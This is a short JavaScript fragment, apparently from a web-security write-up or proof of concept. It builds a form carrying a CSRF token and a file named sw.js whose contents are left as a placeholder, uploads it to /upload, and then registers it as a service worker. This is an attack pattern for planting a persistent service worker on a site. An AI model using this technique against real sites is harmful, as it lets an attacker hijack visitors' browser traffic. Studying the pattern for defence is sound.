<br/>var formData = new FormData();<br/>formData.append("csrf_token", "secret");<br/>var sw = "/* [SW_CODE] */";<br/>var blob = new Blob([sw], { type: "text/javascript"});<br/>formData.append("file", blob, "sw.js");<br/>fetch("/upload", {method: "POST", body: formData})<br/>.then(/* Register SW */);<br/>